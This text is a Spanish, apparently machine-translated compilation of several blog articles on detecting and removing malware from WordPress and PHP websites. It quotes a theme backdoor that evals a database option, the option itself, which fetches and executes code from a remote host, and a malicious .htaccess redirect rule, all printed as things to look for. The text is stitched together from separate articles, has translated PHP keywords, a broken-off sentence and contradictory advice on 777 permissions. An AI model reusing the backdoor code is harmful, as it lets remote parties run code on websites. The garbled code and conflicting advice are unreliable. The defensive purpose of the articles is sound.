Cómo comprobar un complemento en busca de código malicioso. Garantizar la seguridad de Internet y proteger la información confidencial

El otro día, el proveedor de alojamiento reg.ru suspendió el funcionamiento de algunas funciones PHP (en particular, correo, envío de mensajes) en el sitio de uno de mis clientes, explicando esto por el hecho de que se encontró software malicioso en la cuenta que envía spam. . Dejó de funcionar y dejaron de llegar pedidos, y esto ya es una pérdida. En este sentido, decidí decirles a ustedes, lectores del sitio, cómo revisar su sitio en busca de virus y eliminar códigos maliciosos de manera oportuna.

La situación no es infrecuente, incluso este blog mío ha sido víctima de piratería dos veces. Es imposible proteger completamente su recurso contra virus, pero es necesario minimizar el riesgo. Los atacantes suelen utilizar vulnerabilidades del CMS, plantillas de diseño o configuraciones de alojamiento incorrectas para penetrar.

Qué hacer si sospecha que su sitio web está infectado con virus:

  • Revise el sitio en busca de virus y busque archivos que contengan código malicioso (esto será la mitad del artículo),
  • Eliminar o desinfectar archivos detectados (segunda mitad del artículo),
  • Cerrar los “agujeros” del sitio por los que han penetrado malos guiones.
  • Los 3 casos de piratería que encontré (2 míos y 1 de cliente) ocurrieron por una razón: en el alojamiento, algunas carpetas tenían derechos de acceso público 777, lo que permitía a todos escribir cualquier información allí, por lo que el punto número 3 sobre cerrar "agujeros" es el más importante. Te hablaré de él al final.

    Por qué los antivirus online son ineficaces para un sitio web

    Cuando surgen problemas reales en el funcionamiento del sitio o aparecen mensajes de Yandex Webmaster sobre infección, muchos comienzan a buscar antivirus en línea para los sitios. A veces ayudan, pero la mayoría de las veces no lo hacen del todo.

    El problema es que servicios como antivirus-alarm.ru, virustotal.com, xseo.in, 2ip.ru, etc. sólo tendrá acceso al lado externo de su sitio. Esto significa que sólo detectarán el código malicioso si sale y muestra algunos signos.

    Qué hacer si los archivos infectados no se manifiestan de ninguna manera y aún están inactivos, o el resultado de su actividad no da signos evidentes de infección. Bueno, por ejemplo, simplemente muestran enlaces extraños en páginas web; para un servicio en línea esto será , y el virus en sí está oculto en lo profundo del código PHP y actúa solo a nivel del servidor cuando procesa solicitudes.

    Ventajas de los antivirus en línea: Facilidad de uso: escriba la URL del sitio, haga clic en un botón y obtenga el resultado. Pero no es un hecho que se haya encontrado un virus.

    La única forma eficaz de identificar todos los problemas es escanear completamente todos los archivos alojados en el alojamiento donde se encuentra el sitio. Esto se puede hacer con acceso al hosting, lo que significa que el antivirus debe funcionar directamente dentro de los archivos y carpetas de su sitio.

    Complementos antivirus

    Por cierto, los fanáticos de los CMS populares tienen un poco más de suerte en la lucha contra los virus, ya que existen complementos que pueden detectarlos y eliminarlos de manera oportuna. Hablé de uno de esos complementos en un artículo al respecto: monitorea automáticamente los cambios en los archivos del motor y de la plantilla. Pero ni siquiera esto siempre es capaz de ayudar, ya que los virus no sólo pueden penetrar en los archivos existentes, sino también crear los suyos propios, contra los cuales el complemento será impotente.

    En una palabra, en una situación crítica, es posible que sea necesario realizar un análisis completo de todos los archivos de alojamiento, incluidos aquellos que no están relacionados con el CMS.

    Entonces, pasemos a la sección "¿Cómo comprobar si un sitio web tiene virus utilizando métodos profesionales?"

    Comprobación de archivos de sitios web con el antivirus AI-Bolit

    Al igual que ocurre con las computadoras normales, los programas antivirus comprueban los sitios web en busca de virus. Pero para estos fines, los programas antivirus habituales de los que me refiero no son adecuados. Necesita uno especial que funcione para el alojamiento y esté diseñado para amenazas a los sitios.

    Últimamente he estado utilizando el antivirus AI-Bolit de Revisium para estos fines. Además de su antivirus para sitios web, este servicio participó en el desarrollo conjunto de un antivirus para Yandex.

    Repasemos paso a paso todas las etapas de búsqueda y tratamiento con AI-Bolit.

    Instalación del antivirus AI-Bolit

    Desde esta página descarga el archivo con el programa de alojamiento: https://revisium.com/ai/ (archivo pequeño).

    Existe una versión para Windows; para usarla, debe descargar todos los archivos del sitio desde el hosting a su computadora.

    Existe una versión para alojamiento: la verificación de virus se realiza allí mismo (en el servidor del sitio). Hablaré de cómo funciona la versión de hosting, descárgala.

    Desempaquete el archivo descargado; como resultado, tendrá una carpeta con un nombre similar al nombre del archivo: ai-bolit, una carpeta de herramientas y 2 archivos.

    Para trabajar, solo necesita el contenido de la primera carpeta (ai-bolit), que consta de 5 archivos. Debe cargar estos 5 archivos en la carpeta raíz de su sitio (donde se encuentra su index.php) a través de FTP o mediante un administrador de archivos.

    Configurando el programa

    De forma predeterminada, el antivirus ya está listo para funcionar, pero tiene dos configuraciones que puedes utilizar para optimizar el programa según tus necesidades. Todas las configuraciones se realizan en el archivo ai-bolit.php.

    1. Configuración de la profundidad de escaneo. Puede ser de 3 grados: 0 – verificación rápida, 1 – experto, 2 – paranoico, el valor predeterminado es 1. La línea responsable de este parámetro es:

    definir("AI_EXPERT_MODE", 1);

    definir ("AI_EXPERT_MODE", 1);

    2. Contraseña para acceder al programa. Si planea mantener el antivirus en su alojamiento de forma permanente, entonces debe establecer la contraseña más compleja posible en lugar de la predeterminada; de lo contrario, los atacantes podrán dañar el sitio a través del propio antivirus. Si está interesado en un análisis único, después del cual los archivos antivirus se eliminarán del alojamiento, puede dejar la contraseña predeterminada. La línea responsable de la contraseña es:

    define("PASAR", "1122334455");

    definir ("PASS", "1122334455");

    Después de guardar la configuración, proceda a iniciar el escáner.

    Iniciando el programa

    Otras acciones se realizarán a través del navegador. En la barra de direcciones, debe escribir la URL que conduce al archivo de inicio de ai-bolit: su-sitio/ai-bolit.php?p=contraseña-especificada.

    Después de un tiempo, se completará el escaneo de todos los archivos en su sitio y recibirá un informe como este:

    Problemas de inicio

    Dado que el análisis antivirus de un sitio web crea una carga considerable en el servidor de alojamiento, los proveedores de alojamiento a menudo prohíben el funcionamiento de dichos programas. En este caso, puede encontrar mensajes de error como los siguientes:

    En este caso hay 3 opciones:

  • El propio proveedor de alojamiento busca virus y advierte a los clientes sobre su apariencia.
  • El proveedor de alojamiento puede permitirle verificar después de solicitar soporte técnico.
  • Descargue los archivos del sitio a su computadora y verifique con la versión del antivirus para Windows.
  • Análisis de resultados

    El informe recibido durante el escaneo se puede utilizar de dos maneras: transferirlo a un especialista para que pueda comprender su contenido o revisar de forma independiente cada línea sospechosa. A menudo, las características de las plantillas o scripts especializados se confunden con virus (especialmente en un nivel de verificación paranoico).

    Después de todas las comprobaciones y eliminación de scripts maliciosos, los archivos antivirus se pueden eliminar del alojamiento.

    Cerrar vulnerabilidades del sitio

    Ahora sobre eliminar las causas de la infección. Dije anteriormente que la mayoría de las veces los virus se cargan a través de carpetas que tienen acceso general para todos: derechos de acceso 777 (rwxrwxrwx).

    Si alguna carpeta de su sitio tiene dichos derechos, puede cargar un archivo de virus allí y utilizarlo para propagar código malicioso por todo el sitio.

    Para asegurarse de que la infección no vuelva a ocurrir después de su tratamiento, debe verificar cada carpeta en la que Manul encontró archivos infectados y, si es necesario, cambiar los derechos - denegar el acceso público - establecer las propiedades en 755 (rwxr-xr-x).

    Hola amigos. ¿Estás seguro de que la plantilla gratuita de WordPress que utilizas para tus sitios web y blogs es realmente segura y no contiene amenazas ocultas ni códigos maliciosos? ¿Estás completamente seguro de esto? ¿Absolutamente?)

    Crees que ejecutaste la plantilla, eliminaste los enlaces ocultos y el trabajo está hecho. Analiza periódicamente los archivos del sitio con un antivirus, busca en las herramientas para webmasters de Yandex en la pestaña Seguridad y se siente aliviado al ver el mensaje allí: " No se detectó ningún código malicioso en el sitio.«.

    Eso es lo que pensé también. No me gustaría molestarte, pero...

    Código peligroso oculto en plantillas gratuitas de WordPress

    Esta es la carta que recibí la semana pasada por correo electrónico de mi empresa de hosting. Recientemente, introdujeron una verificación periódica de todos los archivos del sitio para buscar contenido malicioso, ¡y encontraron este contenido en mí!

    Todo comenzó cuando fui a mi sitio web una tarde y no pude iniciarlo: apareció un mensaje abusivo acerca de que no se encontraban archivos con la extensión php. Habiéndome tensado un poco, fui a estudiar el contenido de la carpeta con el sitio en el hosting e inmediatamente descubrí un problema: mi archivo de plantilla fuctions.php pasó a llamarse funciones.php.malware, lo que parecía insinuar ambiguamente: había un antivirus. trabajando aquí o algo así) Después de ir al correo, encontré el informe anterior del proveedor de alojamiento.

    Lo primero que hice, por supuesto, fue empezar a comprobar este archivo, estudiar su contenido, escanearlo con todo tipo de antivirus, decenas de servicios de comprobación de virus online, etc. — al final no se encontró nada, todos afirmaron unánimemente que el archivo estaba completamente seguro. Por supuesto, le expresé mis dudas al proveedor de alojamiento, diciendo que habías estropeado algo, pero por si acaso, les pedí que me proporcionaran un informe sobre la detección de un código malicioso.

    Y esto es lo que me respondieron.

    Fui a google información sobre este código y pensé seriamente...

    Cómo encontrar un fragmento de código malicioso en una plantilla

    Resulta que esta es una técnica verdaderamente no trivial que permite a las partes interesadas transmitir datos a su sitio y cambiar el contenido de las páginas sin su conocimiento. Si está utilizando una plantilla gratuita, le recomiendo que consulte su function.php para ver el siguiente código:

    add_filter('the_content', '_bloginfo', 10001);
    función _bloginfo($contenido)(
    publicación $ global;
    if(is_single() && ($co=@eval(get_option('blogoption'))) !== falso)(
    devolver $co;
    ) en caso contrario devolver $contenido;
    }

    Incluso con mi conocimiento muy superficial de PHP, está claro que se está creando un determinado filtro, vinculado a la variable global publicación y contenido, que son responsables de mostrar contenido solo en las páginas de publicaciones del blog (la condición is_single). Ya es sospechoso ¿no? Bueno, ahora veamos qué mostrará este código en nuestro sitio web.

    La interesante opción blogoption solicitada en la base de datos también parece muy sospechosa. Entramos en nuestra base de datos MySQL y encontramos una tabla llamada wp_options, si no cambiaste los prefijos, se verá así de forma predeterminada. Y en él encontramos la línea que nos interesa llamada blogoption

    ¡Qué belleza! Nos aparece la siguiente opción


    return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

    Aquellos. ¡Desde un determinado sitio (y ruso, claro está) están devolviendo contenido que puede contener cualquier cosa! Cualquier cantidad de enlaces, códigos maliciosos, texto alterado, etc. Cuando accede al sitio, le aparece un error de acceso 403, lo cual no es sorprendente. Por supuesto, también eliminé esta opción de la base de datos.

    Según la información de las víctimas, el contenido exacto de su artículo generalmente se devuelve con una sola modificación, en lugar de cualquier punto "." ¡Un enlace abierto estaba oculto en el texto! Y, por cierto, esta opción se escribe en la base de datos cuando se instala la plantilla y luego el código que lo hace se autodestruye exitosamente. Y viví con tanta basura durante dos años, y ni un solo antivirus o servicio me identificó esta amenaza en todo ese tiempo. Para ser honesto, no me di cuenta si esta técnica alguna vez funcionó para mí, o si mi complemento de seguridad bloqueó esta función (o tal vez una de las actualizaciones de WordPress cerró este agujero), pero sigue siendo desagradable.

    Moraleja sobre el queso gratis

    ¿Qué te parece la sofisticación de nuestros “traductores” de plantillas (o de quienes las publican en sus catálogos)? Esto no es para que usted corte enlaces del pie de página) Es una lástima que no recuerdo de dónde descargué mi plantilla, fue hace mucho tiempo, de lo contrario definitivamente habría escrito un par de cariñosos. Y si en ese momento tuviera la misma experiencia que tengo ahora, definitivamente no habría usado una plantilla gratuita o, en casos extremos, ¡no la habría descargado de fuentes desconocidas!

    Es más fácil comprar alguna plantilla premium oficial por 15-20 dólares y vivir en paz, sabiendo que no tiene agujeros ni enlaces cifrados, e incluso si hay vulnerabilidades, los desarrolladores definitivamente lanzarán una actualización en la que se eliminarán estos agujeros. cerrado. (Por cierto, Artem publicó recientemente un artículo donde habla sobre plantillas premium e incluso ofrece códigos promocionales con descuentos brutales para aquellos que estén interesados)

    La plataforma WordPress está ganando cada vez más popularidad entre los blogueros debido a su cómodo y rápido proceso de creación y gestión de un sitio web.

    Por otra parte, cabe señalar que existe una gran cantidad de complementos y widgets gratuitos disponibles para este sistema. Sobre la base de esta plataforma, puede crear no solo un blog normal, sino también una tienda en línea completa, un portal de noticias o un cine en línea.

    Pero la mayoría de los sitios web creados con este CMS gratuito tienen ciertas vulnerabilidades de seguridad. Los desarrolladores de WordPress, por supuesto, intentan cerrarlos rápidamente y publicar actualizaciones no solo para la plataforma en sí, sino también para temas y complementos estándar. Sin embargo, no siempre es posible protegerse de la piratería.

    Según las últimas investigaciones presentadas en el sitio web oficial de la plataforma, uno puede hacerse una idea clara de los mecanismos de infección, ya que un sitio creado en WordPress puede ser pirateado principalmente a través de complementos de terceros o temas modificados.

    Si son pirateados, la mayoría de los administradores web inexpertos tienden a entrar en pánico y cometer errores irreversibles que pueden provocar la pérdida de toda la base de datos o de los archivos. En este artículo intentaremos decirle cómo “curar” un sitio web y devolverlo al estado en el que se encontraba antes del hackeo.

    Respaldo

    Para hacer una copia de seguridad de los archivos, puede utilizar complementos de terceros o utilizar una copia de seguridad automática completa, cuyas herramientas suelen estar disponibles en el alojamiento. Configurar una copia de seguridad completa en un cronograma específico no es muy difícil, pero más adelante este proceso puede ahorrarle los nervios al administrador y ahorrar una cantidad significativa de tiempo. Si no puede configurar usted mismo un mecanismo de copia de seguridad completa de los datos, se recomienda encarecidamente que se comunique con su proveedor de alojamiento para resolver este importante problema. Se puede recomendar a los administradores web principiantes que realicen copias de seguridad manuales de forma regular.

    Si se almacena una copia del sitio y la base de datos en una unidad flash, entonces esto es una garantía del cien por cien de que podrá restaurar fácilmente el sitio web en cualquier momento.

    Recuperación o tratamiento

    Casi todos los sitios web están diseñados para generar ingresos para su propietario. Por lo tanto, un requisito obligatorio para un sitio web es operar 24 horas al día, 7 días a la semana (24 horas al día, 7 días a la semana) con períodos mínimos de cierre para trabajos técnicos.

    Por lo tanto, si un sitio web está infectado, los administradores se esfuerzan por restaurar la información a partir de copias de seguridad lo más rápido posible. Pero como el problema no desaparece y el sitio web todavía tiene una “brecha” en el sistema de seguridad, muy pronto se producirá un segundo ataque que no le llevará mucho tiempo al atacante.

    Esta situación se repetirá una y otra vez, especialmente en sitios web populares, por lo que la solución correcta al problema sería cerrar inmediatamente la vulnerabilidad. Si se limita únicamente a la restauración constante del sitio web, puede perder todos los indicadores en los motores de búsqueda e incluso caer bajo su filtro debido a la propagación de malware.

    Cómo detectar malware

    ¿Cómo saber si un sitio web ha sido pirateado e identificar los primeros síntomas de infección? De hecho, es muy simple: fallas en las estadísticas de tráfico, redireccionamientos a sitios web desconocidos, consumo excesivo de tráfico: todos estos son signos de infección y la presencia de enlaces maliciosos que reducen la calificación del recurso. Sin mencionar las situaciones obvias en las que aparece una marca que indica que su sitio web está "infectado" en los resultados de búsqueda de Yandex o Google.

    Cuando visite un sitio infectado en los navegadores web Opera, Chrome o Firefox, se mostrará una ventana de advertencia sobre el recurso infectado, ya que estos navegadores tienen sus propias bases para identificar sitios infectados. Después de todo, su antivirus local puede determinar que un sitio web ha sido infectado cuando ve un mensaje cuando intenta navegar entre páginas internas. Puede resultar que el sitio web haya sido pirateado y esté siendo utilizado para enviar publicidad no deseada. Podrás enterarte de esto cuando las notificaciones sobre envíos masivos de spam comiencen a llegar a la dirección de tu proveedor de alojamiento.

    ¿Qué debes hacer en tales situaciones? Primero, debe determinar dónde se esconde el virus o el enlace publicitario y cómo llegó al sitio, ya que los temas, la base de datos o el núcleo del sitio pueden estar "infectados".

    La forma más fácil, pero también la más larga, de buscar un virus es intentar rastrear las fechas de modificación de los archivos. Digamos que la mayor parte de los archivos en los directorios más importantes (wp-includes, wp-admin, etc.) tienen la misma fecha de creación, pero hay uno o dos archivos con fechas de creación posteriores. Verifique estos archivos y compárelos con los archivos de la distribución de WordPress. También puedes comparar archivos por tamaño en Total Commander. Todo lo que queda es comparar el contenido de los archivos sospechosos y descubrir para qué están destinados los fragmentos de código adicionales encontrados.

    Cómo comprobar el código HTML renderizado

    Quizás por alguna razón no pudo detectar el problema utilizando el método descrito anteriormente. Entonces puedes intentar encontrar la fuente de infección de otra manera.

    Deberá abrir el sitio web "infectado" en un navegador (preferiblemente Opera o Firefox) y seleccionar "Mostrar código fuente del sitio" en el menú contextual. Si conoce HTML, probablemente pueda detectar líneas sospechosas. Estos podrían ser enlaces desconocidos a sitios, fragmentos de código "comprimido" o cifrado (base64), o un fragmento desconocido de Javascript, que probablemente también estará cifrado. Puede determinarlo mediante el comando eval incluido en el código del fragmento. Esto normalmente significa que alguien intentó ocultar el verdadero código Javascript, lo que debería generar sospechas. La Figura 1 muestra un ejemplo de código sospechoso.

    Arroz. 1 Fragmento de código HTML sospechoso

    Por cierto, si un sitio web utiliza una plantilla gratuita de un fabricante externo, con este método puede encontrar enlaces publicitarios integrados por los autores de la plantilla. Por lo general, estos enlaces son inofensivos, es decir. no son virus. Sin embargo, pueden afectar negativamente la clasificación de un sitio web en los motores de búsqueda y redirigir el tráfico a un recurso de terceros.

    Cuando no se puede detectar código malicioso en las páginas del sitio web utilizando los métodos descritos anteriormente, puede utilizar herramientas en línea de terceros.

    Por ejemplo, puede instalar el complemento WordPress Exploit Scanner, que comprobará periódicamente su sitio web y detectará malware. El complemento proporciona un informe detallado y resalta las filas que posteriormente deben eliminarse.

    Además, puede escanear un sitio web con el escáner en línea Sucuri SiteCheck; este servicio es absolutamente gratuito y, por una tarifa, puede solicitar un tratamiento completo del recurso.

    Cómo comprobar complementos y temas en busca de códigos maliciosos

    En cuanto a los temas, puede rastrear manualmente el código malicioso que contienen o instalar el complemento TAC, que funciona con archivos de temas, revisándolos en busca de enlaces extraños y códigos de virus. Con este complemento podrás consultar tanto los temas ya instalados como los nuevos.

    Es muy fácil detectar la presencia de un virus en un tema o código de complemento. Si el tema activo se basa en uno de los temas oficiales, entonces sólo necesita comparar el código original con el código del tema que se está probando. Para hacer esto, descargue el tema predeterminado que se incluye en la distribución de WordPress, cambie su nombre y cambie el diseño. Todo lo que queda es verificar el código HTML generado por el servidor para detectar la presencia de un virus y, si se detecta, entonces el problema claramente no radica aquí.

    Si se encontró código malicioso en los archivos del tema activo y se instalaron temas adicionales pero no se activaron, deberá verificar cada uno de ellos, ya que el virus puede infectar ciertos archivos del directorio de temas. Lo mejor es utilizar sólo un tema y eliminar todos los inactivos.

    Encontrar virus en el código del complemento tampoco es particularmente difícil.

    • Debes deshabilitar constantemente los complementos y verificar el código HTML generado. De este modo, puede identificar un complemento infectado, eliminarlo y reinstalarlo desde el depósito.
    • Mejores formas de proteger complementos y temas de Wordpress:
    • eliminar complementos y temas no utilizados;
    Cómo encontrar código malicioso en los archivos principales de WordPress

    Si ha verificado sus complementos y temas pero aún no puede determinar la fuente de la infección, es posible que esté ubicada directamente en los archivos principales de WordPress. La infección del kernel puede significar que un atacante obtuvo acceso a la parte administrativa del sitio adivinando o interceptando la contraseña para acceder al sitio web a través de FTP.

    En primer lugar, escanee la computadora desde la cual accedió al FTP o interfaz administrativa del sitio web en busca de virus. La contraseña podría haber sido robada de su computadora mediante un virus troyano, que transfirió datos confidenciales al atacante.

    A menudo, los atacantes incorporan códigos de redirección en el archivo .htaccess, enlaces cifrados a scripts maliciosos ubicados en servidores remotos, por lo que lo primero que debe hacer es comparar este archivo con el original de la distribución. Se debe prestar especial atención a líneas como esta:

    RewriteCond %(HTTP_REFERER) .*yandex.* RewriteRule ^(.*)$ http://unknownsite.com/

    Si encuentra dichas líneas, no debe eliminarlas inmediatamente.

    Primero, solicite registros de su proveedor de hosting para el período de cambios aproximados en el archivo .htaccess y analice desde qué dirección IP se envió este archivo y cuándo. Es posible que se hayan modificado otros archivos al mismo tiempo.

    Si solo se cambió este archivo, entonces debe cambiar las contraseñas para FTP y la interfaz administrativa. Si también se detectaron cambios en los archivos *.php, *.html, lo más probable es que se haya cargado un script PHP en el sitio, a través del cual un atacante podría obtener acceso a toda la información disponible.

    • Prevenir este tipo de amenazas es bastante sencillo y no requiere ningún coste especial.
    • Es importante recordar las siguientes reglas:
    • no almacene contraseñas en administradores de FTP ni en mensajes de correo electrónico;
    • actualizar periódicamente el núcleo de WordPress;

    actualizar complementos y temas;

    No utilice contraseñas simples.

    Entonces, ya hemos visto varias formas de infectar y desinfectar un sitio web basado en el CMS gratuito WordPress. Pero uno de los métodos populares de penetración y piratería es la inyección SQL (inyección SQL). Este método de infección se basa en realizar una solicitud a una base de datos en la que se roba la contraseña de la interfaz administrativa u otra información confidencial. Con respecto a WordPress, podemos decir que se han eliminado las “lagunas” en el sistema de seguridad de la base de datos y el filtrado de consultas conocidas en el momento de la última actualización.

    Para protegerse de la piratería de sitios web mediante inyección SQL, debe seleccionar cuidadosamente los complementos, ya que funcionan con la base de datos y, por lo tanto, un desarrollador no suficientemente concienzudo podría dejar un vacío legal para los atacantes. Quizás algunos complementos gratuitos integren intencionalmente dicha entrada oculta. Al elegir un complemento, debe guiarse no solo por sus capacidades, sino también por su popularidad, así como por la cantidad de instalaciones realizadas. También vale la pena estudiar las reseñas dejadas en la página del desarrollador. Si tiene la más mínima duda o hay una crítica negativa sobre la seguridad, es mejor no correr riesgos e instalar otro complemento con una funcionalidad similar.

    La mayoría de los CMS están construidos de tal manera que un usuario con habilidades mínimas de programación puede instalarlo, configurarlo, habilitar uno de los tipos de diseño propuestos y comenzar a llenar el sitio web con la información necesaria. Por lo tanto, los sitios web suelen estar en manos de administradores sin experiencia que no pueden reconocer dicha intrusión mediante la inyección SQL.

    Pero el complemento WordPress Exploit Scanner mencionado anteriormente también puede funcionar con la base de datos y, en algunos casos, puede encontrar funciones externas integradas en la base de datos. Sólo tienes que eliminarlo manualmente usando comandos SQL especiales en el programa de administración de bases de datos PHPMyAdmin. Estas acciones deben realizarse con mucho cuidado, ya que una consulta o comando incorrecto puede dañar la estructura o el contenido de la base de datos. Para evitar que esto suceda, debe tener cuidado antes del proceso de creación de copias de seguridad de la base de datos. Por cierto, el propio Exploit Scanner puede proporcionar recomendaciones para corregir consultas SQL.

    Formas prácticas de proteger los sitios web de WordPress

    Puede encontrar muchos consejos en Internet sobre cómo asegurar y proteger un sitio web que se ejecuta en el CMS gratuito de WordPress. A continuación se muestra una lista de las recomendaciones más efectivas:

    • Debe cambiar y nunca utilizar nombres estándar para usuarios con derechos administrativos, por ejemplo, admin, administrador, etc.;
    • es necesario instalar un captcha, lo que reduce significativamente el riesgo de piratería mediante contraseñas por fuerza bruta;
    • Para ingresar a la interfaz administrativa, se debe utilizar una contraseña alfanumérica compleja de al menos 8 a 10 caracteres;
    • La contraseña no debe almacenarse en un navegador web, archivos de texto, etc.; el almacenamiento fuera de línea en una hoja de papel es mucho más confiable;
    • También debes proteger la contraseña del buzón que se especificó al instalar WordPress;
    • realizar copias de seguridad periódicamente de forma manual o mediante complementos especiales o programas de terceros, y las copias de seguridad resultantes deben almacenarse en varios lugares;
    • no instale complementos de fuentes desconocidas, complementos y temas pagos pirateados;
    • debe instalar complementos responsables de la seguridad de los archivos y bases de datos de WordPress y verificar periódicamente el estado del sitio mediante un antivirus;
    • actualice el núcleo, los complementos y los temas a tiempo (asegúrese de realizar una copia de seguridad completa antes de cada actualización);
    • se debe cambiar el nombre del archivo admin.php para que sea difícil de identificar;
    • registre su sitio web en Yandex o Google para estar al tanto de los problemas relacionados con la seguridad y la indexación del sitio;
    • debe verificar los derechos de los directorios y archivos de WordPress: para los directorios los derechos deben establecerse en 755, para todos los archivos 644, por separado para el directorio wp-content los derechos deben ser 777;
    • si no es necesario registrar usuarios, es mejor desactivar esta función por completo;
    • También puedes desactivar la posibilidad de comentar y dejar solo el formulario para comentar a través de las redes sociales;
    • debe eliminar el archivo readme.htm ubicado en el directorio raíz, que almacena información sobre la versión instalada de WordPress (esto debe hacerse después de cada actualización del CMS);
    • Además, la mención de la versión de WordPress que está utilizando debe eliminarse del archivo funciones.php agregando la línea: remove_action("wp_head", "wp_generator");
    ¿Qué hacer si el problema aún no se puede solucionar?

    No hay situaciones desesperadas. Puede parecer que ha probado absolutamente todos los métodos para neutralizar el código de virus o los enlaces publicitarios ocultos. Es posible que el sitio web haya dejado de funcionar debido a un tratamiento antivirus fallido y ya no pueda restaurar su funcionalidad. No se desespere, pero intente ponerse en contacto con especialistas que, pagando una tarifa, le ayudarán a restaurar su sitio web y le darán consejos sobre cómo mejorar su seguridad y rendimiento. Puedes escribir al soporte técnico de WordPress, encontrar la respuesta en el Codex de WordPress o hacer una pregunta en el foro oficial.

    Si se deshizo de los virus, configuró correctamente los complementos responsables de la seguridad, cambió las contraseñas y después de un tiempo la situación se repitió nuevamente, entonces debería considerar cambiar el proveedor de alojamiento. Lo más probable es que los servidores en los que se encuentra el sitio web estén mal protegidos o configurados incorrectamente.

    Conclusión

    La mayoría de los consejos presentados seguirán siendo relevantes durante mucho tiempo, ya que se aplican no sólo a WordPress, sino a cualquier sitio web, independientemente de la plataforma utilizada. Internet se desarrolla rápidamente, constantemente aparecen nuevas actualizaciones, se escriben nuevos virus y se cierran lagunas de seguridad en los CMS y en diversos servicios. Manténgase al día, actualice periódicamente su sitio web y así podrá evitar este tipo de emergencias.

    Todo webmaster que descubre código malicioso en su sitio web recibe muchas experiencias no muy agradables. El propietario del sitio inmediatamente, presa del pánico, intenta encontrar y destruir el virus y comprender cómo esta cosa desagradable pudo llegar a su sitio. Pero como muestra la práctica, encontrar código malicioso en un sitio web no es tan fácil. Después de todo, un virus puede registrarse en uno o varios archivos, una gran cantidad de los cuales componen un sitio web, ya sea un motor que se ejecuta en WordPress o un sitio web normal en HTML.

    Ayer, mientras revisaba mi correo electrónico, descubrí una carta de Google que decía que visitar determinadas páginas de mi sitio podría provocar la infección de los ordenadores de los usuarios con malware. Ahora, a los usuarios que acceden a estas páginas a través de enlaces en los resultados de búsqueda de Google.ru se les muestra una página de advertencia. Este sitio no se agregó a mi Panel para webmasters de Google, por lo que recibí una notificación por correo electrónico. Tenía varios sitios más en el panel para webmasters; cuando fui allí, me horroricé al ver una advertencia sobre código malicioso en dos de mis sitios más.
    Como resultado, un código malicioso se instaló en tres de mis sitios, que tuve que encontrar y destruir. Uno de los sitios funcionaba con WordPress, los otros dos consistían en páginas PHP normales.

    Vale la pena señalar que Google respondió mucho más rápido que Yandex a la presencia de código malicioso. En el panel para webmasters de Yandex, no apareció ninguna advertencia sobre la presencia de un virus en el sitio. Afortunadamente, en unas pocas horas logré encontrar este desafortunado virus.

    Como regla general, la mayoría de las veces los sitios están infectados por el llamado virus iframe. Esencialmente, este virus consiste en código... . El virus roba todas las contraseñas de Total Commander u otro cliente ftp. En mi caso, sucedió lo mismo; el código iframe se escribió en varias docenas de archivos en mi sitio. En el sitio, que funcionaba con WordPress, el código malicioso logró instalarse sólo en footer.php.

    Y entonces, cómo encontrar código malicioso si descubre que su sitio está infectado:

    1. Ve al panel de control de tu hosting y cambia tu contraseña. Si tiene varios sitios, hacemos esto con todos nuestros sitios.

    2. Cambie y elimine contraseñas en el cliente ftp. Ya nunca almacenamos contraseñas en clientes ftp; siempre las ingresamos manualmente.

    3. Puedes ir al hosting vía ftp y ver qué ha cambiado en tus archivos. Ordenar archivos por fecha de última modificación. Aquellos archivos que estén infectados deben tener la última y la misma fecha. Abra estos archivos y busque el código iframe; normalmente este código se encuentra al final. Básicamente, el código malicioso se escribe en los siguientes archivos: index.php, index.html y archivos con la extensión .js. A menudo, esta infección vive entre etiquetas... .
    En el caso de sitios escritos por usted mismo, observe con mucha atención todos los archivos y carpetas de scripts; el virus suele estar escrito allí. Además, el hábitat favorito de este virus son los códigos de contador del sitio y los códigos publicitarios.

    4. Verifique el archivo .htaccess en busca de códigos sospechosos. A veces, un código malicioso penetra en este archivo. Normalmente, hay varios directorios en los archivos del motor en los que se puede ubicar el archivo .htaccess. Verifique todos estos archivos y asegúrese de que el código esté limpio.

    En cuanto a los archivos de WordPress u otros CMS, por regla general, cualquier CMS consta de muchos archivos y carpetas, y es muy difícil encontrar código malicioso en ellos. Por ejemplo, para WordPress puedo recomendar el complemento TAC. Este complemento verifica los archivos de todos los temas en la carpeta de temas para detectar la presencia de código de terceros. Si TAC encuentra código no deseado, mostrará la ruta a este archivo. Por tanto, es posible calcular el virus enmascarante.
    Descargue el complemento TAC: wordpress.org

    En general, debes tener presente constantemente todas las acciones que realizaste con los archivos de tu sitio. Recuerde lo que se cambió o agregó a tal o cual código.

    Una vez que encuentre y elimine el código malicioso, no está de más revisar su computadora en busca de virus.
    Y si Google o Yandx marcó su sitio como infectado, debe enviar una solicitud para volver a verificarlo a través del panel para webmasters. Como regla general, los motores de búsqueda deberían eliminar todas las restricciones de su sitio dentro de las 24 horas. Google no tardó mucho en procesar mi solicitud de nueva verificación y, después de unas horas, se eliminaron todas las restricciones de mis sitios.

    WordPress es el motor más popular para crear diversos blogs y sitios de información. La seguridad de su sitio web es más que la seguridad de sus datos. Esto es mucho más importante, porque también es la seguridad de todos los usuarios que leen y confían en su recurso. Por eso es tan importante que el sitio no esté infectado con virus ni ningún otro código malicioso.

    Veremos cómo proteger WordPress contra piratería en uno de los siguientes artículos, pero ahora quiero decirle cómo revisar un sitio web de WordPress en busca de virus y códigos maliciosos para asegurarme de que todo esté seguro.

    La primera opción que me viene a la mente es que haya sido pirateado por piratas informáticos y haya integrado sus puertas traseras en el código de su sitio para poder enviar spam, colocar enlaces y otras cosas malas. Esto sucede a veces, pero es un caso bastante raro si actualiza el software a tiempo.

    Hay miles de temas gratuitos de WordPress y varios complementos, y esto ya podría ser una amenaza. Una cosa es cuando descargas una plantilla del sitio de WordPress y otra muy distinta cuando la encuentras en el sitio de la izquierda. Los desarrolladores sin escrúpulos pueden incorporar varios códigos maliciosos en sus productos. El riesgo es aún mayor si descargas plantillas premium gratis, donde los hackers, sin arriesgar nada, pueden añadir algún tipo de agujero de seguridad por el que luego penetrar y hacer lo que necesiten. Por eso es tan importante comprobar si un sitio de WordPress tiene virus.

    Comprobar un sitio de WordPress en busca de virus

    Lo primero a lo que debe recurrir cuando revisa un sitio no son los virus, sino los complementos de WordPress. De forma rápida y sencilla, puede escanear su sitio y encontrar áreas de código sospechosas a las que vale la pena prestarles atención, ya sea en el tema, el complemento o el núcleo de Wodpress. Veamos algunos de los complementos más populares:

    1.TOC

